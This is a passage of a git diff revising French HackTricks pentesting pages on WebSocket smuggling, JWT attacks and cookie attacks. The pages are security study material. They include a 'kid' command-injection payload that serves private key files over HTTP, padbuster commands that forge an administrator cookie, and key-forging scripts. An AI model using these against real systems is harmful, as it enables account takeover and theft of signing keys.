terminaison interne, en exploitant cette technique. Par conséquent, la spécification d'un chemin dans l'URL `proxy_pass` ne restreint pas l'accès. @@ -73,11 +73,11 @@ Le Websocket smuggling, contrairement à la création d'un tunnel HTTP2 vers un ## Scénario 1 -Dans ce scénario, un backend offrant une API WebSocket publique aux côtés d'une API REST interne inaccessible est ciblé par un client malveillant cherchant à accéder à l'API REST interne. L'attaque se déroule en plusieurs étapes : +Dans ce scénario, un backend offrant une API Websocket publique aux côtés d'une API REST interne inaccessible est ciblé par un client malveillant cherchant à accéder à l'API REST interne. L'attaque se déroule en plusieurs étapes : 1. Le client commence par envoyer une demande de mise à niveau au proxy inverse avec une version de protocole `Sec-WebSocket-Version` incorrecte dans l'en-tête. Le proxy, ne parvenant pas à valider l'en-tête `Sec-WebSocket-Version`, considère la demande de mise à niveau comme valide et la transmet au backend. -2. Le backend répond avec un code d'état `426`, indiquant la version de protocole incorrecte dans l'en-tête `Sec-WebSocket-Version`. Le proxy inverse, ignorant le statut de réponse du backend, suppose la disponibilité de la communication WebSocket et transmet la réponse au client. -3. Par conséquent, le proxy inverse est trompé en croyant qu'une connexion WebSocket a été établie entre le client et le backend, alors qu'en réalité, le backend avait rejeté la demande de mise à niveau. Malgré cela, le proxy maintient une connexion TCP ou TLS ouverte entre le client et le backend, permettant au client un accès illimité à l'API REST privée via cette connexion. +2. Le backend répond avec un code d'état `426`, indiquant la version de protocole incorrecte dans l'en-tête `Sec-WebSocket-Version`. Le proxy inverse, ignorant le statut de réponse du backend, suppose la disponibilité de la communication Websocket et transmet la réponse au client. +3. Par conséquent, le proxy inverse est trompé en croyant qu'une connexion Websocket a été établie entre le client et le backend, alors qu'en réalité, le backend a rejeté la demande de mise à niveau. Malgré cela, le proxy maintient une connexion TCP ou TLS ouverte entre le client et le backend, permettant au client un accès illimité à l'API REST privée via cette connexion. Les proxies inverses affectés incluent Varnish, qui a refusé de traiter le problème, et le proxy Envoy version 1.8.0 ou plus ancienne, les versions ultérieures ayant modifié le mécanisme de mise à niveau. D'autres proxies peuvent également être vulnérables. @@ -85,16 +85,16 @@ Les proxies inverses affectés incluent Varnish, qui a refusé de traiter le pro ## Scénario 2 -Ce scénario implique un backend avec à la fois une API WebSocket publique et une API REST publique pour la vérification de l'état de santé, ainsi qu'une API REST interne inaccessible. L'attaque, plus complexe, implique les étapes suivantes : +Ce scénario implique un backend avec à la fois une API Websocket publique et une API REST publique pour la vérification de l'état de santé, ainsi qu'une API REST interne inaccessible. L'attaque, plus complexe, implique les étapes suivantes : 1. Le client envoie une requête POST pour déclencher l'API de vérification de l'état de santé, incluant un en-tête HTTP supplémentaire `Upgrade: websocket`. NGINX, agissant en tant que proxy inverse, interprète cela comme une demande de mise à niveau standard basée uniquement sur l'en-tête `Upgrade`, négligeant les autres aspects de la requête, et la transmet au backend. -2. Le backend exécute l'API de vérification de l'état de santé, se connectant à une ressource externe contrôlée par l'attaquant qui renvoie une réponse HTTP avec le code d'état `101`. Cette réponse, une fois reçue par le backend et transmise à NGINX, trompe le proxy en pensant qu'une connexion WebSocket a été établie en raison de sa validation uniquement du code d'état. +2. Le backend exécute l'API de vérification de l'état de santé, se connectant à une ressource externe contrôlée par l'attaquant qui renvoie une réponse HTTP avec le code d'état `101`. Cette réponse, une fois reçue par le backend et transmise à NGINX, trompe le proxy en pensant qu'une connexion Websocket a été établie en raison de sa validation uniquement du code d'état. ![https://github.com/0ang3el/websocket-smuggle/raw/master/img/3-4.png](https://github.com/0ang3el/websocket-smuggle/raw/master/img/3-4.png) > **Avertissement :** La complexité de cette technique augmente car elle nécessite la capacité d'interagir avec un point de terminaison capable de renvoyer un code d'état 101. -En fin de compte, NGINX est trompé en croyant qu'une connexion WebSocket existe entre le client et le backend. En réalité, aucune telle connexion n'existe ; l'API REST de vérification de l'état de santé était la cible. Néanmoins, le proxy inverse maintient la connexion ouverte, permettant au client d'accéder à l'API REST privée à travers celle-ci. +En fin de compte, NGINX est trompé en croyant qu'une connexion Websocket existe entre le client et le backend. En réalité, aucune telle connexion n'existe ; l'API REST de vérification de l'état de santé était la cible. Néanmoins, le proxy inverse maintient la connexion ouverte, permettant au client d'accéder à l'API REST privée à travers celle-ci. ![https://github.com/0ang3el/websocket-smuggle/raw/master/img/3-5.png](https://github.com/0ang3el/websocket-smuggle/raw/master/img/3-5.png) @@ -126,7 +126,7 @@ Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez** 💬 le **groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* **Rejoignez** 💬 le [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**dépôts GitHub HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). diff --git a/pentesting-web/hacking-jwt-json-web-tokens.md b/pentesting-web/hacking-jwt-json-web-tokens.md index 4df6876c8..d8ab7541d 100644 --- a/pentesting-web/hacking-jwt-json-web-tokens.md +++ b/pentesting-web/hacking-jwt-json-web-tokens.md @@ -9,8 +9,8 @@ Autres façons de soutenir HackTricks: * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub. +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. @@ -25,7 +25,7 @@ Autres façons de soutenir HackTricks: ### **Gains Rapides** -Exécutez [**jwt\_tool**](https://github.com/ticarpi/jwt\_tool) avec le mode `Tous les tests!` et attendez les lignes vertes +Exécutez [**jwt\_tool**](https://github.com/ticarpi/jwt\_tool) en mode `Tous les tests!` et attendez les lignes vertes ```bash python3 jwt_tool.py -M at \ -t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \ @@ -60,7 +60,7 @@ Il est important de déterminer si le jeton a été généré côté serveur ou ### Durée -Vérifiez si le jeton dure plus de 24h... peut-être qu'il n'expire jamais. S'il y a un champ "exp", vérifiez si le serveur le gère correctement. +Vérifiez si le jeton dure plus de 24h... peut-être n'expire-t-il jamais. S'il y a un champ "exp", vérifiez si le serveur le gère correctement. ### Force brute du secret HMAC @@ -70,7 +70,7 @@ Vérifiez si le jeton dure plus de 24h... peut-être qu'il n'expire jamais. S'il Définissez l'algorithme utilisé comme "None" et supprimez la partie signature. -Utilisez l'extension Burp appelée "JSON Web Token" pour tester cette vulnérabilité et modifier différentes valeurs à l'intérieur du JWT (envoyez la requête à Repeater et dans l'onglet "JSON Web Token", vous pouvez modifier les valeurs du jeton. Vous pouvez également choisir de mettre la valeur du champ "Alg" sur "None"). +Utilisez l'extension Burp appelée "JSON Web Token" pour tester cette vulnérabilité et modifier différentes valeurs à l'intérieur du JWT (envoyez la requête à Repeater et dans l'onglet "JSON Web Token", vous pouvez modifier les valeurs du jeton. Vous pouvez également choisir de mettre la valeur du champ "Alg" à "None"). ### Changer l'algorithme de RS256(asymétrique) à HS256(symétrique) (CVE-2016-5431/CVE-2016-10555) @@ -111,7 +111,7 @@ python3 jwt_tool.py JWT_HERE -X s ### Aperçu des problèmes de Kid -Une revendication d'en-tête facultative appelée `kid` est utilisée pour identifier une clé spécifique, ce qui devient particulièrement important dans les environnements où plusieurs clés existent pour la vérification de la signature du jeton. Cette revendication aide à sélectionner la clé appropriée pour vérifier la signature d'un jeton. +Une revendication d'en-tête facultative appelée `kid` est utilisée pour identifier une clé spécifique, ce qui devient particulièrement vital dans les environnements où plusieurs clés existent pour la vérification de la signature du jeton. Cette revendication aide à sélectionner la clé appropriée pour vérifier la signature d'un jeton. #### Révélation de la clé via "kid" @@ -135,7 +135,7 @@ Cette modification force l'utilisation d'une clé secrète connue, `ATTACKER`, p #### Injection OS via "kid" -Un scénario où le paramètre `kid` spécifie un chemin de fichier utilisé dans un contexte d'exécution de commande pourrait entraîner des vulnérabilités d'exécution de code à distance (RCE). En injectant des commandes dans le paramètre `kid`, il est possible d'exposer des clés privées. Un exemple de charge utile pour atteindre une RCE et l'exposition de clés est : +Un scénario où le paramètre `kid` spécifie un chemin de fichier utilisé dans un contexte d'exécution de commande pourrait entraîner des vulnérabilités d'Exécution de Code à Distance (RCE). En injectant des commandes dans le paramètre `kid`, il est possible d'exposer des clés privées. Un exemple de charge utile pour atteindre une RCE et l'exposition de clés est : `/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&` @@ -144,7 +144,7 @@ Un scénario où le paramètre `kid` spécifie un chemin de fichier utilisé dan #### jku jku signifie **URL de jeu de clés JWK**.\ -Si le jeton utilise une revendication d'en-tête "**jku**", **vérifiez l'URL fournie**. Cela devrait pointer vers une URL contenant le fichier JWKS qui détient la clé publique pour vérifier le jeton. Manipulez le jeton pour pointer la valeur jku vers un service Web dont vous pouvez surveiller le trafic. +Si le jeton utilise une revendication d'en-tête "**jku**", **vérifiez l'URL fournie**. Cela devrait pointer vers une URL contenant le fichier JWKS qui détient la clé publique pour vérifier le jeton. Modifiez le jeton pour pointer la valeur jku vers un service web dont vous pouvez surveiller le trafic. Tout d'abord, vous devez créer un nouveau certificat avec de nouvelles clés privées et publiques. ```bash @@ -165,7 +165,7 @@ print("e:", hex(key.e)) ``` #### x5u -X.509 URL. Un URI pointant vers un ensemble de certificats publics X.509 (un standard de format de certificat) encodés sous forme PEM. Le premier certificat de l'ensemble doit être celui utilisé pour signer ce JWT. Les certificats suivants signent chacun le précédent, complétant ainsi la chaîne de certificats. X.509 est défini dans la RFC 52807. Une sécurité de transport est requise pour transférer les certificats. +X.509 URL. Un URI pointant vers un ensemble de certificats publics X.509 (un standard de format de certificat) encodés sous forme PEM. Le premier certificat de l'ensemble doit être celui utilisé pour signer ce JWT. Les certificats suivants signent chacun le précédent, complétant ainsi la chaîne de certificats. X.509 est défini dans le RFC 52807. La sécurité du transport est requise pour transférer les certificats. Essayez de **modifier cet en-tête pour qu'il pointe vers une URL sous votre contrôle** et vérifiez si une requête est reçue. Dans ce cas, vous **pourriez altérer le JWT**. @@ -193,11 +193,11 @@ openssl x509 -in attacker.crt -text ``` ### Clé publique intégrée (CVE-2018-0114) -Si le JWT contient une clé publique intégrée comme dans le scénario suivant: +Si le JWT contient une clé publique intégrée comme dans le scénario suivant : ![](<../.gitbook/assets/image (438).png>) -En utilisant le script nodejs suivant, il est possible de générer une clé publique à partir de ces données: +En utilisant le script nodejs suivant, il est possible de générer une clé publique à partir de ces données : ```bash const NodeRSA = require('node-rsa'); const fs = require('fs'); @@ -207,7 +207,7 @@ const key = new NodeRSA(); var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public'); console.log(importedKey.exportKey("public")); ``` -Il est possible de générer une nouvelle clé privée/publique, incorporer la nouvelle clé publique à l'intérieur du jeton et l'utiliser pour générer une nouvelle signature : +Il est possible de générer une nouvelle clé privée/publique, d'incorporer la nouvelle clé publique à l'intérieur du jeton et de l'utiliser pour générer une nouvelle signature : ```bash openssl genrsa -out keypair.pem 2048 openssl rsa -in keypair.pem -pubout -out publickey.crt @@ -225,10 +225,10 @@ console.log('Parameter e: ', publicComponents.e.toString(16)); ``` ### JTI (JWT ID) -Le JTI (JWT ID) fournit un identifiant unique pour un jeton JWT. Il peut être utilisé pour éviter la relecture du jeton.\ -Cependant, imaginez une situation où la longueur maximale de l'ID est de 4 (0001-9999). Les requêtes 0001 et 10001 vont utiliser le même ID. Ainsi, si le backend incrémente l'ID à chaque requête, vous pourriez abuser de cela pour **rejouer une requête** (nécessitant l'envoi de 10000 requêtes entre chaque rejouer réussi). +La revendication JTI (JWT ID) fournit un identifiant unique pour un jeton JWT. Il peut être utilisé pour empêcher le jeton d'être rejoué.\ +Cependant, imaginez une situation où la longueur maximale de l'ID est de 4 (0001-9999). La requête 0001 et 10001 vont utiliser le même ID. Donc, si le backend incrémente l'ID à chaque requête, vous pourriez abuser de cela pour **rejouer une requête** (nécessitant l'envoi de 10000 requêtes entre chaque rejouer réussi). -### JWT Registered claims +### Revendications enregistrées JWT {% embed url="https://www.iana.org/assignments/jwt/jwt.xhtml#claims" %} @@ -238,11 +238,11 @@ Cependant, imaginez une situation où la longueur maximale de l'ID est de 4 (000 Il a été observé que certaines applications web s'appuient sur un service JWT de confiance pour la génération et la gestion de leurs jetons. Des cas ont été enregistrés où un jeton, généré pour un client par le service JWT, a été accepté par un autre client du même service JWT. Si l'émission ou le renouvellement d'un JWT via un service tiers est observé, la possibilité de s'inscrire à un compte sur un autre client de ce service en utilisant le même nom d'utilisateur/email devrait être investiguée. Une tentative devrait ensuite être faite pour rejouer le jeton obtenu dans une requête vers la cible pour voir s'il est accepté. -- Un problème critique peut être indiqué par l'acceptation de votre jeton, permettant potentiellement le spoofing du compte de n'importe quel utilisateur. Cependant, il convient de noter qu'une autorisation pour des tests plus larges pourrait être requise si l'inscription sur une application tierce est nécessaire, car cela pourrait entrer dans une zone grise légale. +- Un problème critique peut être indiqué par l'acceptation de votre jeton, permettant potentiellement le spoofing du compte de n'importe quel utilisateur. Cependant, il convient de noter qu'une autorisation pour des tests plus larges pourrait être requise si vous vous inscrivez sur une application tierce, car cela pourrait entrer dans une zone grise légale. **Vérification de l'expiration des jetons** -L'expiration du jeton est vérifiée en utilisant la revendication de charge utile "exp". Étant donné que les JWT sont souvent utilisés sans information de session, une manipulation prudente est requise. Dans de nombreux cas, capturer et rejouer le JWT d'un autre utilisateur pourrait permettre l'usurpation de cet utilisateur. La RFC JWT recommande de mitiger les attaques de rejeu de JWT en utilisant la revendication "exp" pour définir un temps d'expiration pour le jeton. De plus, la mise en œuvre de vérifications pertinentes par l'application pour garantir le traitement de cette valeur et le rejet des jetons expirés est crucial. Si le jeton inclut une revendication "exp" et que les limites de temps de test le permettent, il est conseillé de stocker le jeton et de le rejouer après que le temps d'expiration soit passé. Le contenu du jeton, y compris l'analyse de l'horodatage et la vérification de l'expiration (horodatage en UTC), peut être lu en utilisant le drapeau -R de l'outil jwt_tool. +L'expiration du jeton est vérifiée en utilisant la revendication Payload "exp". Étant donné que les JWT sont souvent utilisés sans information de session, une manipulation prudente est requise. Dans de nombreux cas, capturer et rejouer le JWT d'un autre utilisateur pourrait permettre l'usurpation de cet utilisateur. Le RFC JWT recommande de mitiger les attaques de rejeu JWT en utilisant la revendication "exp" pour définir un temps d'expiration pour le jeton. De plus, la mise en œuvre de vérifications pertinentes par l'application pour garantir le traitement de cette valeur et le rejet des jetons expirés est crucial. Si le jeton inclut une revendication "exp" et que les limites de temps de test le permettent, il est conseillé de stocker le jeton et de le rejouer après que le temps d'expiration soit passé. Le contenu du jeton, y compris l'analyse de l'horodatage et la vérification de l'expiration (horodatage en UTC), peut être lu en utilisant le drapeau -R de l'outil jwt_tool. - Un risque de sécurité peut être présent si l'application valide toujours le jeton, car cela pourrait impliquer que le jeton ne pourrait jamais expirer. @@ -251,7 +251,7 @@ L'expiration du jeton est vérifiée en utilisant la revendication de charge uti {% embed url="https://github.com/ticarpi/jwt_tool" %} \ -**Astuce de prime de bug**: **Inscrivez-vous** à **Intigriti**, une plateforme de prime de bug premium créée par des hackers, pour des hackers**! Rejoignez-nous sur [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) aujourd'hui, et commencez à gagner des primes allant jusqu'à **100 000 $**! +**Astuce de prime de bug bounty**: **Inscrivez-vous** à **Intigriti**, une plateforme de **bug bounty premium créée par des hackers, pour des hackers**! Rejoignez-nous sur [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) aujourd'hui, et commencez à gagner des primes allant jusqu'à **100 000 $**! {% embed url="https://go.intigriti.com/hacktricks" %} @@ -264,7 +264,7 @@ Autres façons de soutenir HackTricks: * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez** 💬 le [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. diff --git a/pentesting-web/hacking-with-cookies/README.md b/pentesting-web/hacking-with-cookies/README.md index 962e9e5fd..c06011ff0 100644 --- a/pentesting-web/hacking-with-cookies/README.md +++ b/pentesting-web/hacking-with-cookies/README.md @@ -9,14 +9,14 @@ Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
-Trouvez les vulnérabilités les plus importantes afin de les corriger plus rapidement. Intruder suit votre surface d'attaque, lance des analyses de menaces proactives, trouve des problèmes sur l'ensemble de votre pile technologique, des API aux applications web et aux systèmes cloud. [**Essayez-le gratuitement**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) aujourd'hui. +Trouvez les vulnérabilités les plus importantes afin de pouvoir les corriger plus rapidement. Intruder suit votre surface d'attaque, lance des analyses de menaces proactives, trouve des problèmes sur l'ensemble de votre pile technologique, des API aux applications web et aux systèmes cloud. [**Essayez-le gratuitement**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) aujourd'hui. {% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %} @@ -67,7 +67,7 @@ Tableau de [Invicti](https://www.netsparker.com/blog/web-security/same-site-cook Un cookie avec l'attribut _**SameSite**_ aidera à **atténuer les attaques CSRF** où une session connectée est nécessaire. **\*Notez qu'à partir de Chrome80 (fév/2019), le comportement par défaut d'un cookie sans un attribut SameSite** **sera lax** ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).\ -Notez temporairement, après l'application de ce changement, les **cookies sans politique SameSite** **dans Chrome seront traités comme None** pendant les **2 premières minutes puis comme Lax pour les requêtes POST intersites de niveau supérieur.** +Notez temporairement, après l'application de ce changement, les **cookies sans politique SameSite** **dans Chrome seront traités comme None** pendant les **2 premières minutes, puis comme Lax pour les requêtes POST intersites de niveau supérieur.** ## Drapeaux des Cookies @@ -77,11 +77,11 @@ Cela empêche le **client** d'accéder au cookie (via **Javascript** par exemple #### **Contournements** -* Si la page **envoie les cookies en réponse** à une requête (par exemple dans une page **PHPinfo**), il est possible d'abuser du XSS pour envoyer une requête à cette page et **voler les cookies** de la réponse (consultez un exemple dans [https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/). -* Cela peut être contourné avec des requêtes **HTTP TRACE** car la réponse du serveur (si cette méthode HTTP est disponible) reflétera les cookies envoyés. Cette technique est appelée **Suivi intersites**. +* Si la page envoie les cookies en réponse à une requête (par exemple dans une page **PHPinfo**), il est possible d'exploiter la XSS pour envoyer une requête à cette page et **voler les cookies** de la réponse (consultez un exemple dans [https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/). +* Cela peut être contourné avec des requêtes **TRACE HTTP** car la réponse du serveur (si cette méthode HTTP est disponible) reflétera les cookies envoyés. Cette technique est appelée **Suivi intersites**. * Cette technique est évitée par les **navigateurs modernes en ne permettant pas l'envoi d'une requête TRACE** depuis JS. Cependant, certains contournements à cela ont été trouvés dans des logiciels spécifiques comme l'envoi de `\r\nTRACE` au lieu de `TRACE` à IE6.0 SP2. -* Une autre façon est l'exploitation de vulnérabilités zero/day des navigateurs. -* Il est possible de **remplacer les cookies HttpOnly** en effectuant une attaque de débordement de Cookie Jar : +* Une autre méthode est l'exploitation de vulnérabilités zero/day des navigateurs. +* Il est possible de **écraser les cookies HttpOnly** en effectuant une attaque de débordement de Cookie Jar : {% content-ref url="cookie-jar-overflow.md" %} [cookie-jar-overflow.md](cookie-jar-overflow.md) @@ -95,12 +95,12 @@ La requête enverra le cookie **uniquement** dans une requête HTTP si la requê ## Préfixes des Cookies -Les cookies préfixés par `__Secure-` doivent être définis avec le drapeau `secure` à partir des pages sécurisées par HTTPS. +Les cookies préfixés par `__Secure-` doivent être définis avec le drapeau `secure` sur les pages sécurisées par HTTPS. Pour les cookies préfixés par `__Host-`, plusieurs conditions doivent être remplies : - Ils doivent être définis avec le drapeau `secure`. - Ils doivent provenir d'une page sécurisée par HTTPS. -- Il est interdit de spécifier un domaine pour ces cookies, empêchant leur transmission aux sous-domaines. +- Ils sont interdits de spécifier un domaine, empêchant leur transmission aux sous-domaines. - Le chemin de ces cookies doit être défini sur `/`. Il est important de noter que les cookies préfixés par `__Host-` ne sont pas autorisés à être envoyés aux superdomaines ou aux sous-domaines. Cette restriction aide à isoler les cookies d'application. Ainsi, l'utilisation du préfixe `__Host-` pour tous les cookies d'application peut être considérée comme une bonne pratique pour renforcer la sécurité et l'isolation. @@ -141,7 +141,7 @@ Si vous trouvez un **XSS dans un sous-domaine** ou que vous **contrôlez un sous Cliquez sur le lien précédent pour accéder à une page expliquant les failles possibles dans les JWT. -Les jetons web JSON (JWT) utilisés dans les cookies peuvent également présenter des vulnérabilités. Pour des informations approfondies sur les failles potentielles et comment les exploiter, l'accès au document lié sur le piratage des JWT est recommandé. +Les JSON Web Tokens (JWT) utilisés dans les cookies peuvent également présenter des vulnérabilités. Pour des informations approfondies sur les failles potentielles et comment les exploiter, l'accès au document lié sur le piratage des JWT est recommandé. ### Falsification de Requête Inter-sites (CSRF) @@ -150,7 +150,7 @@ Cette attaque force un utilisateur connecté à exécuter des actions non désir ### Cookies Vides (Vérifiez les détails supplémentaires dans la [recherche originale](https://blog.ankursundara.com/cookie-bugs/)) -Les navigateurs permettent la création de cookies sans nom, ce qui peut être démontré via JavaScript comme suit: +Les navigateurs permettent la création de cookies sans nom, ce qui peut être démontré en JavaScript comme suit: ```js document.cookie = "a=v1" document.cookie = "=test value;" // Setting an empty named cookie @@ -184,7 +184,7 @@ RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end"; #### Vulnérabilités d'injection de cookies (Vérifiez les détails supplémentaires dans la [recherche originale](https://blog.ankursundara.com/cookie-bugs/)) -L'analyse incorrecte des cookies par les serveurs, notamment Undertow, Zope et ceux utilisant `http.cookie.SimpleCookie` et `http.cookie.BaseCookie` de Python, crée des opportunités pour les attaques d'injection de cookies. Ces serveurs ne parviennent pas à délimiter correctement le début de nouveaux cookies, permettant aux attaquants de falsifier des cookies : +L'analyse incorrecte des cookies par les serveurs, notamment Undertow, Zope et ceux utilisant `http.cookie.SimpleCookie` et `http.cookie.BaseCookie` de Python, crée des opportunités pour les attaques d'injection de cookies. Ces serveurs ne délimitent pas correctement le début de nouveaux cookies, permettant aux attaquants de falsifier des cookies : - Undertow attend un nouveau cookie immédiatement après une valeur entre guillemets sans point-virgule. - Zope recherche une virgule pour commencer l'analyse du cookie suivant. @@ -210,10 +210,10 @@ Cette vulnérabilité est particulièrement dangereuse dans les applications web Si le cookie reste le même (ou presque) lorsque vous vous connectez, cela signifie probablement que le cookie est lié à un champ de votre compte (probablement le nom d'utilisateur). Ensuite, vous pouvez : * Essayez de créer beaucoup de **comptes** avec des noms d'utilisateur très **similaires** et essayez de **deviner** comment l'algorithme fonctionne. -* Essayez de **forcer le nom d'utilisateur**. Si le cookie ne sauvegarde que comme méthode d'authentification pour votre nom d'utilisateur, vous pouvez créer un compte avec le nom d'utilisateur "**Bmin**" et **forcer** chaque **bit** de votre cookie car l'un des cookies que vous essayerez appartiendra à "**admin**". -* Essayez l'**Oracle de Rembourrage** (vous pouvez décrypter le contenu du cookie). Utilisez **padbuster**. +* Essayez de **bruteforcer le nom d'utilisateur**. Si le cookie ne sauvegarde que comme méthode d'authentification pour votre nom d'utilisateur, vous pouvez créer un compte avec le nom d'utilisateur "**Bmin**" et **bruteforcer** chaque **bit** de votre cookie car l'un des cookies que vous essayerez appartiendra à "**admin**". +* Essayez **Padding Oracle** (vous pouvez décrypter le contenu du cookie). Utilisez **padbuster**. -**Oracle de Rembourrage - Exemples de Padbuster** +**Padding Oracle - Exemples de Padbuster** ```bash padbuster # When cookies and regular Base64 @@ -223,7 +223,7 @@ padbuster http://web.com/index.php u7bvLewln6PJPSAbMb5pFfnCHSEd6olf 8 -cookies a padBuster http://web.com/home.jsp?UID=7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6 7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6 8 -encoding 2 ``` -Padbuster fera plusieurs tentatives et vous demandera quelle condition est la condition d'erreur (celle qui n'est pas valide). +Padbuster fera plusieurs tentatives et vous demandera quelle condition est l'erreur (celle qui n'est pas valide). Ensuite, il commencera à décrypter le cookie (cela peut prendre plusieurs minutes). @@ -231,11 +231,11 @@ Si l'attaque a réussi, vous pourriez essayer de crypter une chaîne de votre ch ``` padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== 8 -cookies thecookie=1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== -plaintext user=administrator ``` -Cet exemple vous donnera le cookie correctement chiffré et encodé avec la chaîne **user=administrator** à l'intérieur. +Cet exécution vous donnera le cookie correctement chiffré et encodé avec la chaîne **user=administrator** à l'intérieur. **CBC-MAC** -Peut-être qu'un cookie pourrait avoir une certaine valeur et être signé en utilisant le CBC. Ensuite, l'intégrité de la valeur est la signature créée en utilisant le CBC avec la même valeur. Comme il est recommandé d'utiliser un vecteur nul comme IV, ce type de vérification d'intégrité pourrait être vulnérable. +Peut-être qu'un cookie pourrait avoir une certaine valeur et être signé en utilisant le CBC. Ensuite, l'intégrité de la valeur est la signature créée en utilisant le CBC avec la même valeur. Comme il est recommandé d'utiliser un vecteur IV nul, ce type de vérification d'intégrité pourrait être vulnérable. **L'attaque** @@ -250,11 +250,11 @@ Lorsque vous vous connectez, le cookie que vous recevez doit être toujours le m **Comment détecter et attaquer :** -Créez 2 utilisateurs avec des données presque identiques (nom d'utilisateur, mot de passe, e-mail, etc.) et essayez de découvrir un certain schéma à l'intérieur du cookie donné. +Créez 2 utilisateurs avec des données presque identiques (nom d'utilisateur, mot de passe, e-mail, etc.) et essayez de découvrir un certain motif à 